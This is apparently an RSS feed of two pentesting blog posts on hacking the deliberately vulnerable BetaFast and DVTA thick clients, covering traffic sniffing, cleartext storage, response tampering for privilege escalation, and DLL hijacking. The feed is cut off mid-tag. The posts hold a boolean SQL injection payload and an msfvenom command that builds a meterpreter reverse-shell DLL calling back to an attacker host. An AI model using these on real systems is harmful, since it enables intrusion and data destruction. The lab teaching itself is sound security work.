“<strong>BetaFast</strong>” thick client on your system? you may refer to <a href="https://www.theanuragsrivastava.in/2020/05/introduction-to-hacking-thick-clients.html"><strong><em>this</em></strong></a>.</p><blockquote>So let’s hack into the <strong>BetaFast </strong>first -</blockquote><h3><strong><em>Network/ Traffic analysis</em></strong></h3><ol><li><strong>Unencrypted login credentials</strong></li></ol><p><strong>Step 1</strong> — Run Wireshark and Open “BetaFast”. Login into the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9GZGPT2MdrIlVTs3X-dDw.jpeg" /></figure><p><strong>Step 2</strong> — Let’s check the traffic data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ml9Ju0IxOUKQfvMJVSJN5Q.jpeg" /></figure><p>As we can see the credential is transmitted in an Unencrypted format. So an attacker can easily sniff and steal sensitive data like passwords, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pAP70T-kV1QjkbDsjHChTg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rXPneJ6CCzPEO1AQy7xOWQ.jpeg" /><figcaption>Change Password Functionality</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PH9FaKnca-WAVupf0aDVug.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PTiVwMyxb9mqyXqX0pWXwQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rSqnMsPmJlT5vLNk9-Mxtw.jpeg" /></figure><h3><strong>Client Side Analysis -</strong></h3><p><strong>2) Sensitive data is getting stored in a clear text format in a .txt file</strong></p><p>BetaFast app has a menu where you can buy products</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2TGDj0WV-NDSYmX-BYiAZw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*agEAiHmOLvvjV594yvGmsA.jpeg" /><figcaption>Adding it to the cart.</figcaption></figure><p>Meanwhile; we can run ProcMon to see our app processes and let’s check if it writes any data to any of the files at the client side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ijm3z0vrqsjJY_CBpLApPA.jpeg" /><figcaption>Using Filter to view processes specific to our target.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8L3ZaYVDtBMcVotvfUrSA.jpeg" /></figure><p>As you can see in the screenshot below we have payment detail fields. Fill in all the details and let us <strong>save </strong>our payment details for further use and proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTYjhNJVa-KhTbwaXwJLJg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4-G-Xfz1eOycFOG5f-H0pg.jpeg" /></figure><p>As we can see in ProcMon the application has created a file where it has written some data; let&#39;s check that file by navigating to that path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fBUEcyXJXxMX_ZRZKQOt7Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jJ2xFyOwxYwVOe1g5XaPQA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nOJ7AJQqIJyjoKo_s2q2Tw.jpeg" /><figcaption>Unhide the “Program Data” directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mBXBeObGEMjR4w06ors7gw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pyq5OWA9J4w2KSdIIQShMA.jpeg" /></figure><p>As we can see that the payment details are being stored in clear text which involves some critical data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6fzJCc8JpvrqcSYyhVhfxg.jpeg" /></figure><p><strong>3) Registry analysis -</strong></p><p>Let’s monitor the application process to see whether the application stores any data in the registry.</p><p><strong>Step 1</strong> — Run ProcMon and apply the filter like- “<em>Process Name contains Beta</em>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PqefI1taMSjU8zgEOQjuGQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*twlobiOoONklxOWmt8c_Ow.jpeg" /></figure><p><strong>Step 2</strong> — Now login into the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2e8VTNuJuegKKcNjJVPrww.jpeg" /></figure><p>In the Process Monitor you&#39;ll see that the application creates a new registry called “<strong>Credentials</strong>” and stores the value Username/ Password in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KNmOiDgTkX-aq1dvzB0HhA.jpeg" /></figure><p>Let’s verify what&#39;s there in the registry.</p><p>As we can see user login credentials are being stored in the registry.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uc_ToE11Z_Ue6bxskFWpFA.jpeg" /></figure><p>4) <strong>Source Code is not Obfuscated</strong></p><p>After opening the BetaFast.exe in the dnSpy we observed that the source code was not obfuscated as can be seen in the screenshot below.</p><blockquote>The Source code that is not obfuscated is source code that is easy for humans to read and understand. If your source code is not obfuscated, it is easier for someone to reverse engineer your code. This means that they can figure out how your code works, which could allow them to create a competing product or to exploit your code for malicious purposes.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NgVMABMKDuJG2JXZIxcAcQ.jpeg" /></figure><h3><strong>Server-side analysis</strong></h3><p><strong>5) Authorization/ Privilege Escalation</strong></p><p>There are 2 user roles in the BetaFast application — One is an “<strong><em>Admin</em></strong>” role and the other one is a “<strong><em>User</em></strong>” role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ERQaXIKk8cQqGIolBsAdw.jpeg" /><figcaption>Admin-role user</figcaption></figure><p>The normal user comes up with a limited no. of tabs and functionality as compared to the admin role as can be seen in the screenshot below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6XB2vk4MppHB27UoG6nbkA.jpeg" /><figcaption>Normal User</figcaption></figure><p><strong>Step 1</strong> — Now let’s log in with the normal user “Bob” and analyze the request and response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*4D2wLDctiJPAIiw85A9A1A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*3-x-KLBa9U66UzbMWznFwA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_wSybBN3f1HTtdyhNaOuQ.jpeg" /></figure><p>The user bob is <em>not an Admin</em> hence we got a <strong>false</strong> in our response body.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSOo3MTbp181V6NSJGaPPw.jpeg" /></figure><p><strong>Step 2</strong> — Let’s change the value from <strong><em>false</em></strong> to <strong><em>true </em></strong>and forward the response to our application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pz-GZitG1b-GDK-KVkEI1A.jpeg" /><figcaption>Modifying the Response body.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yk0U_gD5LNDBH32EcCHsGg.jpeg" /></figure><p>As we can see we are able to access to Admin functions that are available in the application -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bmLBWPNIWLxsYPs4xrlE3g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*LKpR7JVOsB8HHbncoFOGxw.jpeg" /></figure><p><strong>Step 3</strong> — Let’s add an admin user to confirm if we really can perform admin actions from the low-privileged user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*NT5QHMewLzdnwoodnkDLNQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*qpOo_xOvj5W6nVtpYVxTwg.jpeg" /></figure><p><strong>6) SQLi</strong></p><p>Let’s try whether we can execute a SQL query. So I found that there was a delete function where we can delete movie that are there in the application.</p><p><strong>Step 1</strong> — <em>Select any 1 movie</em> &gt;&gt; <em>Click on delete</em> and <em>Intercept the request for it.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*6ROHRow862VMRkdmDpJulw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eBRTKY9cu4Vwz7WpgU3YWQ.jpeg" /></figure><p><strong>Step 2</strong> — Append a boolean-based SQLi payload <strong><em>‘+OR+’1&#39;=’1 </em></strong>with the parameter value of Title and send the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MOc1WvcWWt_j3Lers-CvMw.jpeg" /><figcaption>Appending the SQLi payload.</figcaption></figure><p><strong>Step 3</strong> — Now check the application; we can see that all the users are deleted as we selected only 1 movie to be deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RcOxjvVSVQj56TbKvwQK0g.jpeg" /></figure><blockquote>So guys; This was it for <strong>Part — 1</strong>; In the next (part — 2) we&#39;ll look into the <strong>BetaBank</strong> (2-tier) application. So stay tuned!!</blockquote><ul><li><strong><em>References </em></strong>-</li></ul><p><a href="https://www.netspi.com/blog/technical/thick-application-penetration-testing/introducing-betafast/">https://www.netspi.com/blog/technical/thick-application-penetration-testing/introducing-betafast/</a></p><p><a href="https://www.theanuragsrivastava.in/2020/05/introduction-to-hacking-thick-clients.html">https://www.theanuragsrivastava.in/2020/05/introduction-to-hacking-thick-clients.html</a></p><p><em>Hope you found this blog interesting and informative. Your valuable comments and feedback are welcome.</em></p><p>Thank you for reading!😃😄<br>धन्यवाद पढ़ने के लिए!<br>अनुगृहीतोऽस्मि पठितवान्<br>¡Gracias por leer!<br>Danke fürs Lesen!<br>読んでくれてありがとうございます!<br>شكراً على القراءة</p><p>Благодарю за чтение!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe8b6226f84a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Thick Client Security Testing: The Essential Guide]]></title>
            <link>https://cybern1nja8.medium.com/thick-client-security-testing-the-essential-guide-78f0015ed94f?source=rss-e0a2e2ab6ed8------2</link>
            <guid isPermaLink="false">https://medium.com/p/78f0015ed94f</guid>
            <category><![CDATA[thick-client-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[thick-client-security]]></category>
            <dc:creator><![CDATA[cybern1nja8]]></dc:creator>
            <pubDate>Sat, 22 Jul 2023 09:09:31 GMT</pubDate>
            <atom:updated>2023-07-22T09:09:31.088Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*qzqkStLUa7DpnIHn.jpg" /></figure><p>Hi all Security People!👋 Welcome to my blog; My name is <strong>ABHISHEK RAJPUT</strong>, and I’m working as an InfoSec Consultant🐱‍💻.</p><p>This is my first-ever blog which I wrote as a medium to give back to the awesome cyber security community. I’m excited to share my thoughts and experiences with you. I hope this blog would help you and would like to hear your feedback.</p><p>So let’s get started -</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F15166289&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fmr-bean-cake-picknick-reading-coffee-gif-15166289&amp;image=https%3A%2F%2Fmedia.tenor.com%2F-49DCYKXGwUAAAAd%2Fmr-bean-cake.gif&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/26deec3d7967b436f142d0279605b982/href">https://medium.com/media/26deec3d7967b436f142d0279605b982/href</a></iframe><p>In this blog, we will discuss what are — Thick client applications, an overview of them, and my approach to testing thick client applications. We will start from the beginning, covering topics such as — <em>an introduction to the Thick client app, Tiers of Thick client applications</em>, we’ll see some <em>useful tools</em>, <em>common vulnerabilities</em> found in these applications, and how to <em>test for them in a systematic manner.</em></p><p>We’ll be using a vulnerable thick application called “<a href="https://github.com/srini0x00/dvta"><strong>DVTA</strong></a>” — <strong><em>Damn Vulnerable Thick Client Application.</em></strong></p><p>Also, guys, you can refer to ➡ <a href="https://www.hackingarticles.in/thick-client-pentest-lab-setup-dvta-2/"><strong><em>this</em></strong></a> posted by <strong><em>Hacking Articles</em></strong> which will guide you on how to install and set up <strong><em>dvta</em></strong> lab on your System so that you can practice.</p><blockquote><strong>Table of Contents</strong> –</blockquote><p>- <strong>Introduction</strong></p><p><strong>- Examples of the thick client application</strong></p><p><strong>- The architectures of Thick Client applications</strong></p><p><strong>- Common list of vulnerabilities</strong></p><p><strong>- Attack map</strong></p><p><strong>- 4 — Phases of Testing</strong></p><blockquote><strong>a) Information Gathering</strong></blockquote><p><em>i) Knowing the application architecture and</em></p><p><em>ii) Languages Frameworks</em></p><p><em>iii) Knowing the application functionality</em></p><p><strong>b) Network/ Traffic Analysis</strong></p><p><em>i) Identifying the Tier</em></p><p><em>ii) Examining the traffic between the Thick client application and the server</em></p><p><strong>c) Client-Side Analysis</strong></p><p><em>i) DLL Hijacking</em></p><p><em>ii) Binary Analysis -</em></p><p><em>iii) File Analysis –</em></p><p><em>iv) Registry Monitoring</em></p><p><em>v) Memory Analysis</em></p><p><em>vi) Reverse Engineering and Modifying the Application</em></p><p><em>vii) Source code scanning via automated scanner</em></p><p><strong>d) Server-Side Analysis</strong></p><p><em>i) SQL Injection</em></p><p>Proxy-aware and No-proxy aware Thick client applications</p><p><em>i) Proxy aware</em></p><p><em>ii) Non-proxy-aware/ Proxy Unaware</em></p><p>- Tools</p><p>- References</p><h3>Introduction –</h3><p>- Thick client applications are generally <strong>desktop applications</strong> that contain nearly all components required for independently operating and executing software applications.</p><p>- A Thick Client application is basically an application that runs on the User’s host machine/system and communicates with the backend server or database server.</p><p>- So the client application handles most of the business logic like — validations, view components, and temporary data.</p><p>- The Thick Client is also known as the “<em>Fat Client</em>”, “<em>Rich Client</em>” or “<em>Heavy Client</em>” Application. So do not get confused when you hear the terms like these.</p><p>Although Web apps are everywhere and widely used, many organizations still use thick client apps on their computers.</p><p>Thick client applications can be developed using various programming languages such as:</p><ul><li>.Net</li><li>Java</li><li>C/C++</li><li>Microsoft Silverlight</li><li>Java applets</li></ul><h3>Examples of some thick clients-</h3><ol><li><em>Spotify</em></li><li><em>Firefox</em></li><li><em>Burp Suite</em></li><li><em>Notepad++</em></li><li><em>Greenshot, and many others.</em></li></ol><h3>Common Architectures of Thick Client applications :</h3><ol><li><strong><em>2-Tier architecture</em></strong></li><li><strong><em>3-Tier architecture</em></strong></li></ol><h3>· Two-Tier architecture -</h3><p>In two-tier architecture, the thick client application implements a “<strong>Client-to-Server</strong>” communication. The application is installed on the client’s computer and, in order to work, will need to communicate with a <strong><em>database server</em></strong>. For example, imagine an HR application installed on the client’s computer and, to retrieve the employees’ information, communicates directly with the HR database server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*VFALU5Y1ZbzwM8629EhOuw.png" /><figcaption><strong>2-Tier Architecture</strong></figcaption></figure><h3>· Three-Tier architecture -</h3><p>In the three-tier architecture, the <strong><em>client</em></strong> communicates with an <strong><em>application server</em></strong>, which in turn talks to the <strong><em>database</em></strong> in a manner similar to a regular web application. The most common communication method in these applications may be carried out using HTTP/HTTPS. Three-tier architecture has a security advantage over two-tier architecture because it prevents the end-user from communicating directly with the database server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*Ezrszs36loPNbGwAp8v3dw.png" /><figcaption><strong>3-Tier Architecture</strong></figcaption></figure><ul><li><strong>The following list presents the relevant vulnerabilities for thick client testing -</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*1ZCJKVZEHeB_39vRr5vhpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*4V0e4QuNqZBqSgNazSttbg.png" /><figcaption><strong><em>Attack Map </em></strong>(<em>Image source — Cobalt.io</em>)</figcaption></figure><p><em>So now, I’ll be taking you through different testing phases by following a systematic approach.</em></p><p><strong>- The 4 phases will be –</strong></p><p>1. Information Gathering</p><p>2. Network/ Traffic Analysis</p><p>3. Client-Side Analysis</p><p>4. Server-Side Analysis</p><h3><strong>Information Gathering –</strong></h3><blockquote>First, we will start with Information gathering where we will gather information about our target thick client. This phase will be helpful to us to understand our application and select &amp; use the right tools to carry out the Testing. In this phase we’ll perform the following tasks -</blockquote><p>a) Knowing the Application Architecture and</p><p>b) Languages Frameworks</p><p>c) Knowing Application Functionality, Business logic.</p><blockquote>Knowing the app architecture whether it is a 32-bit or 64-bit will be helpful in creating a “<em>malicious DLL file</em>” for the specific architecture later in the <em>DLL Hijacking test case</em> (which we’ll cover in the coming section under client analysis).</blockquote><blockquote>Knowing the language will help us to use the right tool to decompile the APP;</blockquote><p><strong>For e.x</strong> — <em>If it is Built-in</em> “.NET” — dnSpy, dotpeek, <em>etc</em> | <em>or else For </em>“Java” — JD-GUI, etc ).</p><p><strong>Tool</strong> — <em>CFF Explorer</em></p><p><strong>Step 1</strong> — Open CFF Explorer and open the “.exe” file in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bV0VT41iRetIzZFvi49vHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JaoH0shXfQi7KrVkrWzhvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lflzflmWliDcw4XwcSvS2A.png" /></figure><p><strong>Step 2</strong> — As we can see our App is a 32 — bit and it is a .NET application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riKM2BpvlpEriFeEXiUgFw.png" /></figure><p><strong>Tool</strong> — “<strong><em>Sigcheck</em></strong>”</p><p>We can also use “Sigcheck” to know whether it is a 32-bit or 64-bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*hB0Rh5AB-gpu4PtHSFS43Q.png" /></figure><blockquote><strong>c) Identifying Application Functionality and Business Logic</strong></blockquote><p>Figuring out the application’s functionality and behavior and identifying all of the different entry points for user input.</p><p>Now maybe you can log in to the application and use it from a normal user perspective to know the user input fields, various functionality, business logic, etc.</p><h3>Network/ Traffic Analysis -</h3><blockquote>Next phase we’ll talk about performing network analysis; In this phase we’ll identify whether our app is implemented on a 2 — tier or 3-tier architecture, Examining the traffic between the application and the server to search for clear text-sensitive data.</blockquote><ul><li><strong>Identifying the Tier</strong></li></ul><p>We’ll now identify the “<strong>tier</strong>” for our application by analyzing the traffic between the application and the server. For this, we can use tools like — <a href="https://www.wireshark.org/download.html"><strong><em>Wireshark</em></strong></a>, and <a href="https://sourceforge.net/projects/echomirage.oldbutgold.p/"><strong><em>Echomirage</em></strong></a>.</p><ul><li>But first, let’s see our application is communicating to which remote/ destination address by using the tool — <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/tcpview"><strong><em>Tcpview</em></strong></a>.</li><li>It is also essential to discover which servers the application is communicating with, while it is running.</li></ul><p><strong>Step 1</strong> — Run “<em>TCPView</em>” and run the “<em>dvta.exe</em>”. Login into the application and then check the TCP connection for “dvta” by searching the application name (for e.x. — in this case, it is “dvta.exe”).</p><p>The below screenshot shows that the remote address is the local address itself since the server is being run in the local system itself that is the reason it shows the localhost address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*X6PXGg8dyblkYn0cZkh64Q.png" /><figcaption>TCPView</figcaption></figure><p><strong>Tool — Wireshark</strong></p><p><strong>Step 1</strong> — Run Wireshark and set the filter to “ip.addr==127.0.0.1” in order to capture traffic for the local address (127.0.0.1) since our application communicates with the same address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*eNhtXzqUTtsyfaCTRGSMOA.png" /></figure><p><strong>Step 2</strong> — Run the “DVTA” and login into the App. We’ll observe the traffic being intercepted in “Wireshark”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*lSljyEbrduqmnX8Y5H8kLA.png" /></figure><p><strong>Step 3</strong> — Let’s analysis on of the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*6nnAneU8konCSrI5J1gN7w.png" /></figure><p>We can see in the screenshot below that the request contains an SQL query, which means that the application is directly communicating with the database server. By this, we can conclude that the “DVTA” is a 2-tier application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*QF2UIXAvmDnphWg6wpHxmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*Kx6vkcGJdiHRy0LJw3GzuA.png" /></figure><p>Hence there is a high probability that “<strong>SQL injection</strong>” might be possible and we can test for it while doing “Server Side Analysis” in the later phase.</p><p><strong>Tool — Echomirage</strong></p><p>The same goal can also be achieved by using tool called “Echomirage”. Echo Mirage allows us to see and edit the data being exchanged be it encrypted or unencrypted session.</p><p><strong>Step 1</strong> — Open the “DVTA” and log in with a valid credential.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*jA9trzzNPsC33FJP2QGkhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*DjAXeXGLBQrMSL7VIx0xUQ.png" /></figure><p><strong>Step 2</strong> — Open Echomirage. Go to “<strong>Process</strong> &gt;&gt; <strong>Inject</strong> &gt;&gt; <strong>Select the process “dvta.exe”</strong> &gt;&gt; <strong>OK</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*CQq0Q2XCi1B1V0oyj-vObg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*SL84fszyZgvm3zIwZutrjA.png" /></figure><p><strong>Step 3</strong> — Now Go to “Add Expenses” to fill some data. Fill in the input boxes and click on Save.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*P80rYAe8bUI3VzMfObCqrA.png" /></figure><p>As we can see In the image below — In “Echomirage” the request traffic consists of “<strong><em>SQL query</em></strong>”; hence we can conclude that the application is communicating with <strong><em>Database Server</em></strong> directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*NPtls9AEyg9uQ32wXeTrxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*1GnL2CwDUn6_GKgMrsrrPg.png" /></figure><p>· <em>View Expenses.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Ckc7cJMSsUDRSmX4UpXGlQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*gFHGvSMxMZCdGyRDCTHetw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*HcsQ1TIMYaZWxzA6TjxrLg.png" /></figure><p><strong>· Examining the traffic between the Thick client application and the server.</strong></p><blockquote>Analyzing the traffic between the application and the server may reveal sensitive data such as Clear-text credentials/secrets/API endpoints, API Keys, (Web Services, REST API), etc in clear text or in an unencrypted format.</blockquote><p>· <strong>Tool</strong> — Wireshark</p><p><strong>Step 1</strong> — Run Wireshark to capture the traffic. Open DVTA and log in using username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Mc5JM_73t6KrUFQTtVcvqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Uuzl7WsVNJmNVwErKe_LMQ.png" /></figure><p><strong>Step 2</strong> — Now Analyze the traffic; We can see that the password is being sent in an unencrypted format as shown in the below screenshot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*pTd5bZNJDS2e1Zl1flwu5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*i-HdY46fbmHHdUE15DpbPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*mXZEaqX68Q56mCQZLYl8WQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*JxNLx5A2TeDTzBrZji86dA.png" /></figure><ul><li><em>Password and other critical data such as credit card no, CVV, PII, etc should be sent in an encrypted format.</em></li></ul><h3>· Client Side Analysis/ Testing</h3><p>Next, we’ll do analysis/ testing on the client side which includes (but is not limited to) –</p><ul><li><em>DLL Hijacking</em></li><li><em>Binary Analysis</em></li><li><em>File Analysis</em></li><li><em>Memory Analysis</em></li><li><em>Registry Monitoring</em></li><li><em>Source Code Scanning</em></li></ul><p><strong>· DLL Hijacking</strong></p><p><em>DLL hijacking is a technique, in which we trick a legitimate/trusted application (DVTA application in our case) into loading an arbitrary DLL (which we’ll create).</em></p><p><em>DLL hijacking can be used to execute code, obtain persistence and escalate privileges. Of those 3 the least probable to find is privilege escalation by far which will be mostly useful during a pentest.</em></p><p><em>For testing DLL hijacking we need to know the dll that can actually be hijacked. That is, we need to know the name of some DLL(s) that the application needs but is not found on the system for some reason. Maybe it was for other supported platform or such. Or another scenario can be when it does load, but the path of dll loaded is further down the PATH env, and we happen to have write access to one of the paths that would override the existing one.</em></p><p>But for now, we’ll focus on the first one, where the required dll is “<strong>not found</strong>”.</p><ul><li>We will be needing the following tools –</li></ul><p>1) <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon"><strong>ProcMon</strong></a> (Process Monitor) — for monitoring the processes that are currently running.</p><p>2) <a href="https://www.offsec.com/metasploit-unleashed/msfvenom/"><strong>Msfvenom</strong></a> — For Creating malicious/ test DLL file.</p><p>3) <a href="https://visualstudio.microsoft.com/downloads/"><strong>Visual Studio</strong></a> — If you don’t have access to Metasploit and have Windows OS maybe you can use Visual Studio to write &amp; build a test DLL file.</p><ul><li><strong>Method 1☝🏻 -</strong></li></ul><p><strong>Tools</strong> — Procmon + Msfvenom</p><p><strong>Step 1</strong> — Run “Procmon”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*XIbtb9BJIYdnwu9BSMCWwQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*-jt3XqdK--veP7BJfwruMw.png" /></figure><p><strong>Step 2</strong> — Now; Run the “DVTA” application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*H3TkLwc1Gt5If5hVI-hRSw.png" /></figure><p><strong>Step 3</strong> — As we can see in the above (<em>Step — 1</em>) screenshot; Procmon shows you all the processes that are running in the system, but with this huge information in front of us, it is hard to find and work with. Lucky for us, Procmon allows us to filter these events based on several parameters. In order to use a filter, you can click on Filter-&gt;Filter or press ctrl + L.</p><p>So we only need processes specific to our target application i.e. “<strong>DVTA</strong>” so we’ll use the filter -</p><p>Let us add a filter to focus only on the “<strong>DVTA</strong>” executable.</p><p>a) filter : <strong><em>Process name contains dvta.</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*FRH-PcZ7gcMMs2DO3sNQrw.png" /></figure><p>Now we only need paths that contain <strong>dll</strong> files. So let’s filter out DLLs.</p><p>B) filter: <strong><em>Path ends with dll</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*PVdqRqO9u4iQ6bn76CvUsw.png" /></figure><p>Well, remember when I said that we want to hijack a dll that the application tries to load but isn’t actually present on the system. So whenever the dll is not present on the system, its result is logged as “<strong>NAME NOT FOUND</strong>” in ProcMon. So now we know what’ll be our next filter is.</p><p>C) filter: <strong><em>Result contains NAME NOT FOUND</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Tv_J1cpt6wGCb2viMY16bA.png" /></figure><p>So after adding all the <strong>3 filters</strong>. Click on <strong>Apply</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*1inWbliP_TDa2yCsmuDOJg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*hUrd5Ff7oM2Ej48m-WZojQ.png" /></figure><p>So now in front of us, we have a list of DLL names that “DVTA” couldn’t find on the system but wants to load.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*9pmzg1ANc0tB6nIlbhP__g.png" /></figure><blockquote><strong><em>Note</em></strong><em> — If you don’t have administrator access you might not be able to paste your arbitrary dll under the system directory for ex — “</em><strong><em>C:\</em></strong><em>” or “</em><strong><em>C:\Windows\</em></strong><em>” so make sure you choose any other dll(s) that is under </em><strong><em>users</em></strong><em> directory or else if you have administrator rights then you are good to go.</em></blockquote><p><strong>Step 4</strong> — Let’s choose one of the DLLs — We’ll choose “CRYPTPS.dll” which the application is trying to call from the “Users” directory which may not require admin access to run the application.</p><blockquote>Think from an attacker’s perspective, that he is trying to get a foothold on the machine by social engineering the victim into downloading the malicious DLL or something similar. So it’s safe to assume that if your victim downloads your malicious application, then he will run from the same location, and thus any dll in that path is accessible to us.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*uarW5tlzIQ8ZlU3tyrJKKw.png" /></figure><p><strong>Step 5</strong> — Now my favorite part creating a payload (malicious DLL file) using msfvenom.</p><pre>msfvenom -p windows/meterpreter/reverse_tcp -f dll LHOST=Attacker_IP LPORT=4444 &gt; CRYPTSP.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*wxOFFCLg2MAEOmGFbcy9Og.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*v-obEtASiosrFsnXWky0rQ.png" /></figure><p>Now, our malicious/ test dll file is been created; now we have to just copy and paste this dll into the mentioned path where the application is trying to find.</p><figure><img alt="" 